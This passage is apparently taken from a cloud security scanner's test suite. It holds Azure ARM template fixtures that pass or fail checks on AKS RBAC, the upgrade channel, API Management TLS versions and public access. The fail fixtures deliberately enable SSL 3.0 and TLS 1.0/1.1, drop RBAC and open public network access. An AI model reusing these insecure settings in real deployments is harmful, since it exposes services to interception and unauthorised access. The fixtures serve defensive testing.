\"Standard_F16\",\n        \"Standard_F16s\",\n        \"Standard_F2\",\n        \"Standard_F2s\",\n        \"Standard_F4\",\n        \"Standard_F4s\",\n        \"Standard_F8\",\n        \"Standard_F8s\",\n        \"Standard_G1\",\n        \"Standard_G2\"\n      ],\n      \"metadata\": {\n        \"description\": \"The size of the Virtual Machine.\"\n      }\n    },\n    \"linuxAdminUsername\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"azureuser\",\n      \"metadata\": {\n        \"description\": \"User name for the Linux Virtual Machines.\"\n      }\n    },\n    \"sshRSAPublicKey\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'\"\n      }\n    },\n    \"servicePrincipalClientId\": {\n      \"metadata\": {\n        \"description\": \"Client ID (used by cloudprovider)\"\n      },\n      \"type\": \"securestring\"\n    },\n    \"servicePrincipalClientSecret\": {\n      \"metadata\": {\n        \"description\": \"The Service Principal Client Secret.\"\n      },\n      \"type\": \"securestring\"\n    },\n    \"osType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Linux\",\n      \"allowedValues\": [\n        \"Linux\"\n      ],\n      \"metadata\": {\n        \"description\": \"The type of operating system.\"\n      }\n    },\n    \"kubernetesVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"1.9.6\",\n      \"metadata\": {\n        \"description\": \"The version of Kubernetes.\"\n      }\n    },\n    \"httpApplicationRouting\": {\n      \"type\": \"bool\",\n      \"defaultValue\": true,\n      \"metadata\": {\n        \"description\": \"boolean flag to turn on and off of http application routing\"\n      }\n    },\n    \"maxNrOfPods\": {\n      \"type\": \"int\",\n      \"defaultValue\": 110,\n      \"metadata\": {\n        \"description\": \"Maximum number of pods that can run on a node.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"clusterName\": \"[parameters('clusterName')]\",\n    \"adminUsername\": \"[parameters('linuxAdminUsername')]\",\n    \"osDiskSizeGB\": \"[parameters('osDiskSizeGB')]\",\n    \"agentCount\": \"[parameters('agentCount')]\",\n    \"agentVMSize\": \"[parameters('agentVMSize')]\",\n    \"dnsPrefix\": \"[parameters('dnsPrefix')]\",\n    \"sshRSAPublicKey\": \"[parameters('sshRSAPublicKey')]\",\n    \"servicePrincipalClientId\": \"[parameters('servicePrincipalClientId')]\",\n    \"servicePrincipalClientSecret\": \"[parameters('servicePrincipalClientSecret')]\",\n    \"osType\": \"[parameters('osType')]\",\n    \"kubernetesVersion\": \"[parameters('kubernetesVersion')]\"\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2018-03-31\",\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"location\": \"[resourceGroup().location]\",\n      \"name\": \"[variables('clusterName')]\",\n      \"tags\": {\n        \"department\": \"[parameters('metadata').department]\",\n        \"projectName\": \"[parameters('metadata').projectName]\",\n        \"owner\": \"[parameters('metadata').owner]\",\n        \"environment\": \"[parameters('metadata').environment]\"\n      },\n      \"properties\": \"yo\"\n    }\n  ],\n  \"outputs\": {\n    \"controlPlaneFQDN\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(concat('Microsoft.ContainerService/managedClusters/', variables('clusterName'))).fqdn]\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSRbacEnabled/aksEnableRbac-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"clusterName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The name of the Managed Cluster resource. Possible locations: australiaeast,canadacentral,canadaeast,centralus,eastus,northeurope,uksouth,westeurope,westus,westus2\"\n      }\n    },\n    \"metadata\": {\n      \"type\": \"object\",\n      \"metadata\": {\n        \"description\": \"Metadata for this resource\"\n      }\n    },\n    \"dnsPrefix\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Optional DNS prefix to use with hosted Kubernetes API server FQDN.\"\n      }\n    },\n    \"osDiskSizeGB\": {\n      \"type\": \"int\",\n      \"defaultValue\": 0,\n      \"metadata\": {\n        \"description\": \"Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize.\"\n      },\n      \"minValue\": 0,\n      \"maxValue\": 1023\n    },\n    \"agentCount\": {\n      \"type\": \"int\",\n      \"defaultValue\": 3,\n      \"metadata\": {\n        \"description\": \"The number of nodes for the cluster.\"\n      },\n      \"minValue\": 1,\n      \"maxValue\": 50\n    },\n    \"agentVMSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_D2_v2\",\n      \"allowedValues\": [\n        \"Standard_A10\",\n        \"Standard_A11\",\n        \"Standard_A2\",\n        \"Standard_A2_v2\",\n        \"Standard_A2m_v2\",\n        \"Standard_A3\",\n        \"Standard_A4\",\n        \"Standard_A4_v2\",\n        \"Standard_A4m_v2\",\n        \"Standard_A5\",\n        \"Standard_A6\",\n        \"Standard_A7\",\n        \"Standard_A8\",\n        \"Standard_A8_v2\",\n        \"Standard_A8m_v2\",\n        \"Standard_A9\",\n        \"Standard_D11\",\n        \"Standard_D11_v2\",\n        \"Standard_D12\",\n        \"Standard_D12_v2\",\n        \"Standard_D13\",\n        \"Standard_D13_v2\",\n        \"Standard_D14\",\n        \"Standard_D14_v2\",\n        \"Standard_D15_v2\",\n        \"Standard_D2\",\n        \"Standard_D2_v2\",\n        \"Standard_D3\",\n        \"Standard_D3_v2\",\n        \"Standard_D4\",\n        \"Standard_D4_v2\",\n        \"Standard_D5_v2\",\n        \"Standard_DS11\",\n        \"Standard_DS11_v2\",\n        \"Standard_DS12\",\n        \"Standard_DS12_v2\",\n        \"Standard_DS13\",\n        \"Standard_DS13_v2\",\n        \"Standard_DS14\",\n        \"Standard_DS14_v2\",\n        \"Standard_DS15_v2\",\n        \"Standard_DS2\",\n        \"Standard_DS2_v2\",\n        \"Standard_DS3\",\n        \"Standard_DS3_v2\",\n        \"Standard_DS4\",\n        \"Standard_DS4_v2\",\n        \"Standard_DS5_v2\",\n        \"Standard_F16\",\n        \"Standard_F16s\",\n        \"Standard_F2\",\n        \"Standard_F2s\",\n        \"Standard_F4\",\n        \"Standard_F4s\",\n        \"Standard_F8\",\n        \"Standard_F8s\",\n        \"Standard_G1\",\n        \"Standard_G2\"\n      ],\n      \"metadata\": {\n        \"description\": \"The size of the Virtual Machine.\"\n      }\n    },\n    \"linuxAdminUsername\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"azureuser\",\n      \"metadata\": {\n        \"description\": \"User name for the Linux Virtual Machines.\"\n      }\n    },\n    \"sshRSAPublicKey\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'\"\n      }\n    },\n    \"servicePrincipalClientId\": {\n      \"metadata\": {\n        \"description\": \"Client ID (used by cloudprovider)\"\n      },\n      \"type\": \"securestring\"\n    },\n    \"servicePrincipalClientSecret\": {\n      \"metadata\": {\n        \"description\": \"The Service Principal Client Secret.\"\n      },\n      \"type\": \"securestring\"\n    },\n    \"osType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Linux\",\n      \"allowedValues\": [\n        \"Linux\"\n      ],\n      \"metadata\": {\n        \"description\": \"The type of operating system.\"\n      }\n    },\n    \"kubernetesVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"1.9.6\",\n      \"metadata\": {\n        \"description\": \"The version of Kubernetes.\"\n      }\n    },\n    \"httpApplicationRouting\": {\n      \"type\": \"bool\",\n      \"defaultValue\": true,\n      \"metadata\": {\n        \"description\": \"boolean flag to turn on and off of http application routing\"\n      }\n    },\n    \"enableRBAC\": {\n      \"type\": \"bool\",\n      \"defaultValue\": true,\n      \"metadata\": {\n        \"description\": \"Enable RBAC on the cluster\"\n      }\n    },\n    \"maxNrOfPods\": {\n      \"type\": \"int\",\n      \"defaultValue\": 110,\n      \"metadata\": {\n        \"description\": \"Maximum number of pods that can run on a node.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"clusterName\": \"[parameters('clusterName')]\",\n    \"adminUsername\": \"[parameters('linuxAdminUsername')]\",\n    \"osDiskSizeGB\": \"[parameters('osDiskSizeGB')]\",\n    \"agentCount\": \"[parameters('agentCount')]\",\n    \"agentVMSize\": \"[parameters('agentVMSize')]\",\n    \"dnsPrefix\": \"[parameters('dnsPrefix')]\",\n    \"sshRSAPublicKey\": \"[parameters('sshRSAPublicKey')]\",\n    \"servicePrincipalClientId\": \"[parameters('servicePrincipalClientId')]\",\n    \"servicePrincipalClientSecret\": \"[parameters('servicePrincipalClientSecret')]\",\n    \"osType\": \"[parameters('osType')]\",\n    \"kubernetesVersion\": \"[parameters('kubernetesVersion')]\"\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2018-03-31\",\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"location\": \"[resourceGroup().location]\",\n      \"name\": \"[variables('clusterName')]\",\n      \"tags\": {\n        \"department\": \"[parameters('metadata').department]\",\n        \"projectName\": \"[parameters('metadata').projectName]\",\n        \"owner\": \"[parameters('metadata').owner]\",\n        \"environment\": \"[parameters('metadata').environment]\"\n      },\n      \"properties\": {\n        \"kubernetesVersion\": \"[variables('kubernetesVersion')]\",\n        \"dnsPrefix\": \"[variables('dnsPrefix')]\",\n        \"agentPoolProfiles\": [\n          {\n            \"name\": \"agentpool\",\n            \"osDiskSizeGB\": \"[variables('osDiskSizeGB')]\",\n            \"count\": \"[variables('agentCount')]\",\n            \"vmSize\": \"[variables('agentVMSize')]\",\n            \"osType\": \"[variables('osType')]\",\n            \"storageProfile\": \"ManagedDisks\",\n            \"maxPods\": \"[parameters('maxNrOfPods')]\"\n          }\n        ],\n        \"linuxProfile\": {\n          \"adminUsername\": \"[variables('adminUsername')]\",\n          \"ssh\": {\n            \"publicKeys\": [\n              {\n                \"keyData\": \"[variables('sshRSAPublicKey')]\"\n              }\n            ]\n          }\n        },\n        \"servicePrincipalProfile\": {\n          \"ClientId\": \"[parameters('servicePrincipalClientId')]\",\n          \"Secret\": \"[parameters('servicePrincipalClientSecret')]\"\n        },\n        \"addonProfiles\": {\n          \"httpApplicationRouting\": {\n            \"enabled\": \"[parameters('httpApplicationRouting')]\"\n          }\n        },\n        \"enableRBAC\": \"[parameters('enableRBAC')]\"\n      }\n    }\n  ],\n  \"outputs\": {\n    \"controlPlaneFQDN\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(concat('Microsoft.ContainerService/managedClusters/', variables('clusterName'))).fqdn]\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSUpgradeChannel/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.5.6.12127\",\n      \"templateHash\": \"12705365244308198684\"\n    }\n  },\n  \"parameters\": {\n    \"aksClusterName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"aks101cluster-vmss\",\n      \"metadata\": {\n        \"description\": \"The name of the Managed Cluster resource.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"The location of AKS resource.\"\n      }\n    },\n    \"dnsPrefix\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Optional DNS prefix to use with hosted Kubernetes API server FQDN.\"\n      }\n    },\n    \"osDiskSizeGB\": {\n      \"type\": \"int\",\n      \"defaultValue\": 0,\n      \"maxValue\": 1023,\n      \"minValue\": 0,\n      \"metadata\": {\n        \"description\": \"Disk size (in GiB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize.\"\n      }\n    },\n    \"agentCount\": {\n      \"type\": \"int\",\n      \"defaultValue\": 3,\n      \"maxValue\": 100,\n      \"minValue\": 1,\n      \"metadata\": {\n        \"description\": \"The number of nodes for the cluster. 1 Node is enough for Dev/Test and minimum 3 nodes, is recommended for Production\"\n      }\n    },\n    \"agentVMSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_D2s_v3\",\n      \"metadata\": {\n        \"description\": \"The size of the Virtual Machine.\"\n      }\n    },\n    \"osType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Linux\",\n      \"allowedValues\": [\n        \"Linux\",\n        \"Windows\"\n      ],\n      \"metadata\": {\n        \"description\": \"The type of operating system.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"apiVersion\": \"2022-01-02-preview\",\n      \"name\": \"fail\",\n      \"location\": \"[parameters('location')]\",\n      \"tags\": {\n        \"displayname\": \"AKS Cluster\"\n      },\n      \"identity\": {\n        \"type\": \"SystemAssigned\"\n      },\n      \"properties\": {\n        \"enableRBAC\": true,\n        \"dnsPrefix\": \"[parameters('dnsPrefix')]\",\n        \"autoUpgradeProfile\": {\n          \"upgradeChannel\": \"none\"\n    },\n        \"agentPoolProfiles\": [\n          {\n            \"name\": \"agentpool\",\n            \"osDiskSizeGB\": \"[parameters('osDiskSizeGB')]\",\n            \"count\": \"[parameters('agentCount')]\",\n            \"vmSize\": \"[parameters('agentVMSize')]\",\n            \"osType\": \"[parameters('osType')]\",\n            \"type\": \"VirtualMachineScaleSets\",\n            \"mode\": \"System\"\n          }\n        ]\n      }\n    }\n  ],\n  \"outputs\": {\n    \"controlPlaneFQDN\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(resourceId('Microsoft.ContainerService/managedClusters', parameters('aksClusterName'))).fqdn]\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSUpgradeChannel/fail1.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.5.6.12127\",\n      \"templateHash\": \"12705365244308198684\"\n    }\n  },\n  \"parameters\": {\n    \"aksClusterName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"aks101cluster-vmss\",\n      \"metadata\": {\n        \"description\": \"The name of the Managed Cluster resource.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"The location of AKS resource.\"\n      }\n    },\n    \"dnsPrefix\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Optional DNS prefix to use with hosted Kubernetes API server FQDN.\"\n      }\n    },\n    \"osDiskSizeGB\": {\n      \"type\": \"int\",\n      \"defaultValue\": 0,\n      \"maxValue\": 1023,\n      \"minValue\": 0,\n      \"metadata\": {\n        \"description\": \"Disk size (in GiB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize.\"\n      }\n    },\n    \"agentCount\": {\n      \"type\": \"int\",\n      \"defaultValue\": 3,\n      \"maxValue\": 100,\n      \"minValue\": 1,\n      \"metadata\": {\n        \"description\": \"The number of nodes for the cluster. 1 Node is enough for Dev/Test and minimum 3 nodes, is recommended for Production\"\n      }\n    },\n    \"agentVMSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_D2s_v3\",\n      \"metadata\": {\n        \"description\": \"The size of the Virtual Machine.\"\n      }\n    },\n    \"osType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Linux\",\n      \"allowedValues\": [\n        \"Linux\",\n        \"Windows\"\n      ],\n      \"metadata\": {\n        \"description\": \"The type of operating system.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"apiVersion\": \"2022-01-02-preview\",\n      \"name\": \"fail1\",\n      \"location\": \"[parameters('location')]\",\n      \"tags\": {\n        \"displayname\": \"AKS Cluster\"\n      },\n      \"identity\": {\n        \"type\": \"SystemAssigned\"\n      },\n      \"properties\": {\n        \"enableRBAC\": true,\n        \"dnsPrefix\": \"[parameters('dnsPrefix')]\",\n        \"agentPoolProfiles\": [\n          {\n            \"name\": \"agentpool\",\n            \"osDiskSizeGB\": \"[parameters('osDiskSizeGB')]\",\n            \"count\": \"[parameters('agentCount')]\",\n            \"vmSize\": \"[parameters('agentVMSize')]\",\n            \"osType\": \"[parameters('osType')]\",\n            \"type\": \"VirtualMachineScaleSets\",\n            \"mode\": \"System\"\n          }\n        ]\n      }\n    }\n  ],\n  \"outputs\": {\n    \"controlPlaneFQDN\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(resourceId('Microsoft.ContainerService/managedClusters', parameters('aksClusterName'))).fqdn]\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSUpgradeChannel/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.5.6.12127\",\n      \"templateHash\": \"12705365244308198684\"\n    }\n  },\n  \"parameters\": {\n    \"aksClusterName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"aks101cluster-vmss\",\n      \"metadata\": {\n        \"description\": \"The name of the Managed Cluster resource.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"The location of AKS resource.\"\n      }\n    },\n    \"dnsPrefix\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Optional DNS prefix to use with hosted Kubernetes API server FQDN.\"\n      }\n    },\n    \"osDiskSizeGB\": {\n      \"type\": \"int\",\n      \"defaultValue\": 0,\n      \"maxValue\": 1023,\n      \"minValue\": 0,\n      \"metadata\": {\n        \"description\": \"Disk size (in GiB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize.\"\n      }\n    },\n    \"agentCount\": {\n      \"type\": \"int\",\n      \"defaultValue\": 3,\n      \"maxValue\": 100,\n      \"minValue\": 1,\n      \"metadata\": {\n        \"description\": \"The number of nodes for the cluster. 1 Node is enough for Dev/Test and minimum 3 nodes, is recommended for Production\"\n      }\n    },\n    \"agentVMSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_D2s_v3\",\n      \"metadata\": {\n        \"description\": \"The size of the Virtual Machine.\"\n      }\n    },\n    \"osType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Linux\",\n      \"allowedValues\": [\n        \"Linux\",\n        \"Windows\"\n      ],\n      \"metadata\": {\n        \"description\": \"The type of operating system.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"apiVersion\": \"2022-01-02-preview\",\n      \"name\": \"pass\",\n      \"location\": \"[parameters('location')]\",\n      \"tags\": {\n        \"displayname\": \"AKS Cluster\"\n      },\n      \"identity\": {\n        \"type\": \"SystemAssigned\"\n      },\n      \"properties\": {\n        \"enableRBAC\": true,\n        \"dnsPrefix\": \"[parameters('dnsPrefix')]\",\n        \"autoUpgradeProfile\": {\n          \"upgradeChannel\": \"stable\"\n    },\n        \"agentPoolProfiles\": [\n          {\n            \"name\": \"agentpool\",\n            \"osDiskSizeGB\": \"[parameters('osDiskSizeGB')]\",\n            \"count\": \"[parameters('agentCount')]\",\n            \"vmSize\": \"[parameters('agentVMSize')]\",\n            \"osType\": \"[parameters('osType')]\",\n            \"type\": \"VirtualMachineScaleSets\",\n            \"mode\": \"System\"\n          }\n        ]\n      }\n    }\n  ],\n  \"outputs\": {\n    \"controlPlaneFQDN\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(resourceId('Microsoft.ContainerService/managedClusters', parameters('aksClusterName'))).fqdn]\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_APIManagementMinTLS12/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.26.54.24096\",\n      \"templateHash\": \"15176578550391235821\"\n    }\n  },\n  \"parameters\": {\n    \"publisherEmail\": {\n      \"type\": \"string\",\n      \"minLength\": 1,\n      \"metadata\": {\n        \"description\": \"The email address of the owner of the service\"\n      }\n    },\n    \"publisherName\": {\n      \"type\": \"string\",\n      \"minLength\": 1,\n      \"metadata\": {\n        \"description\": \"The name of the owner of the service\"\n      }\n    },\n    \"sku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Developer\",\n      \"allowedValues\": [\n        \"Consumption\",\n        \"Developer\",\n        \"Basic\",\n        \"Basicv2\",\n        \"Standard\",\n        \"Standardv2\",\n        \"Premium\"\n      ],\n      \"metadata\": {\n        \"description\": \"The pricing tier of this API Management service\"\n      }\n    },\n    \"skuCount\": {\n      \"type\": \"int\",\n      \"defaultValue\": 1,\n      \"allowedValues\": [\n        0,\n        1,\n        2\n      ],\n      \"metadata\": {\n        \"description\": \"The instance size of this API Management service.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.ApiManagement/service\",\n      \"apiVersion\":\"2023-05-01-preview\",\n      \"name\": \"fail\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\",\n        \"capacity\": \"[parameters('skuCount')]\"\n      },\n      \"properties\": {\n        \"publisherEmail\": \"[parameters('publisherEmail')]\",\n        \"publisherName\": \"[parameters('publisherName')]\",\n        \"customProperties\":{\n          \"Microsoft.WindowsAzure.ApiManagement.Gateway.Security.Backend.Protocols.Ssl30\": true\n        }\n      }\n    },\n     {\n      \"type\": \"Microsoft.ApiManagement/service\",\n      \"apiVersion\": \"2023-05-01-preview\",\n      \"name\": \"fail2\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\",\n        \"capacity\": \"[parameters('skuCount')]\"\n      },\n      \"properties\": {\n        \"publisherEmail\": \"[parameters('publisherEmail')]\",\n        \"publisherName\": \"[parameters('publisherName')]\",\n        \"customProperties\":{\n          \"Microsoft.WindowsAzure.ApiManagement.Gateway.Security.Backend.Protocols.Tls10\": true\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.ApiManagement/service\",\n      \"apiVersion\": \"2023-05-01-preview\",\n      \"name\": \"fail3\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\",\n        \"capacity\": \"[parameters('skuCount')]\"\n      },\n      \"properties\": {\n        \"publisherEmail\": \"[parameters('publisherEmail')]\",\n        \"publisherName\": \"[parameters('publisherName')]\",\n        \"customProperties\":{\n          \"Microsoft.WindowsAzure.ApiManagement.Gateway.Security.Protocols.Ssl30\": true\n        }\n      }\n    },\n     {\n      \"type\": \"Microsoft.ApiManagement/service\",\n      \"apiVersion\": \"2023-05-01-preview\",\n      \"name\": \"fail4\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\",\n        \"capacity\": \"[parameters('skuCount')]\"\n      },\n      \"properties\": {\n        \"publisherEmail\": \"[parameters('publisherEmail')]\",\n        \"publisherName\": \"[parameters('publisherName')]\",\n        \"customProperties\":{\n          \"Microsoft.WindowsAzure.ApiManagement.Gateway.Security.Protocols.Tls10\": true\n        }\n      }\n    },\n     {\n      \"type\": \"Microsoft.ApiManagement/service\",\n      \"apiVersion\": \"2023-05-01-preview\",\n      \"name\": \"fail5\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\",\n        \"capacity\": \"[parameters('skuCount')]\"\n      },\n      \"properties\": {\n        \"publisherEmail\": \"[parameters('publisherEmail')]\",\n        \"publisherName\": \"[parameters('publisherName')]\",\n        \"customProperties\":{\n          \"Microsoft.WindowsAzure.ApiManagement.Gateway.Security.Protocols.Tls11\": true\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_APIManagementMinTLS12/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.26.54.24096\",\n      \"templateHash\": \"15176578550391235821\"\n    }\n  },\n  \"parameters\": {\n    \"publisherEmail\": {\n      \"type\": \"string\",\n      \"minLength\": 1,\n      \"metadata\": {\n        \"description\": \"The email address of the owner of the service\"\n      }\n    },\n    \"publisherName\": {\n      \"type\": \"string\",\n      \"minLength\": 1,\n      \"metadata\": {\n        \"description\": \"The name of the owner of the service\"\n      }\n    },\n    \"sku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Developer\",\n      \"allowedValues\": [\n        \"Consumption\",\n        \"Developer\",\n        \"Basic\",\n        \"Basicv2\",\n        \"Standard\",\n        \"Standardv2\",\n        \"Premium\"\n      ],\n      \"metadata\": {\n        \"description\": \"The pricing tier of this API Management service\"\n      }\n    },\n    \"skuCount\": {\n      \"type\": \"int\",\n      \"defaultValue\": 1,\n      \"allowedValues\": [\n        0,\n        1,\n        2\n      ],\n      \"metadata\": {\n        \"description\": \"The instance size of this API Management service.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.ApiManagement/service\",\n      \"apiVersion\": \"2023-05-01-preview\",\n      \"name\": \"pass\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\",\n        \"capacity\": \"[parameters('skuCount')]\"\n      },\n      \"properties\": {\n        \"publisherEmail\": \"[parameters('publisherEmail')]\",\n        \"publisherName\": \"[parameters('publisherName')]\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_APIManagementPublicAccess/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.20.4.51522\",\n      \"templateHash\": \"6577944355650859703\"\n    }\n  },\n  \"parameters\": {\n    \"publisherEmail\": {\n      \"type\": \"string\",\n      \"minLength\": 1,\n      \"metadata\": {\n        \"description\": \"The email address of the owner of the service\"\n      }\n    },\n    \"publisherName\": {\n      \"type\": \"string\",\n      \"minLength\": 1,\n      \"metadata\": {\n        \"description\": \"The name of the owner of the service\"\n      }\n    },\n    \"sku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Developer\",\n      \"allowedValues\": [\n        \"Basic\",\n        \"Consumption\",\n        \"Developer\",\n        \"Standard\",\n        \"Premium\"\n      ],\n      \"metadata\": {\n        \"description\": \"The pricing tier of this API Management service\"\n      }\n    },\n    \"skuCount\": {\n      \"type\": \"int\",\n      \"defaultValue\": 1,\n      \"metadata\": {\n        \"description\": \"The instance size of this API Management service.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.ApiManagement/service\",\n      \"apiVersion\": \"2021-08-01\",\n      \"name\": \"fail\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\",\n        \"capacity\": \"[parameters('skuCount')]\"\n      },\n      \"properties\": {\n        \"administratorLogin\": \"jonasAdmin\",\n        \"version\": \"12.0\",\n        \"state\": \"Ready\",\n        \"fullyQualifiedDomainName\": \"jonas.database.windows.net\",\n        \"privateEndpointConnections\": [],\n        \"minimalTlsVersion\": \"None\",\n        \"restrictOutboundNetworkAccess\": \"Disabled\"\n\n      },\n      \"identity\": {\n        \"type\": \"SystemAssigned\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.ApiManagement/service\",\n      \"apiVersion\": \"2021-08-01\",\n      \"name\": \"fail2\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\",\n        \"capacity\": \"[parameters('skuCount')]\"\n      },\n      \"properties\": {\n        \"administratorLogin\": \"jonasAdmin\",\n        \"version\": \"12.0\",\n        \"state\": \"Ready\",\n        \"fullyQualifiedDomainName\": \"jonas.database.windows.net\",\n        \"privateEndpointConnections\": [],\n        \"minimalTlsVersion\": \"None\",\n        \"publicNetworkAccess\": \"Enabled\",\n        \"restrictOutboundNetworkAccess\": \"Disabled\"\n      },\n      \"identity\": {\n        \"type\": \"SystemAssigned\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_APIManagementPublicAccess/pass.json",
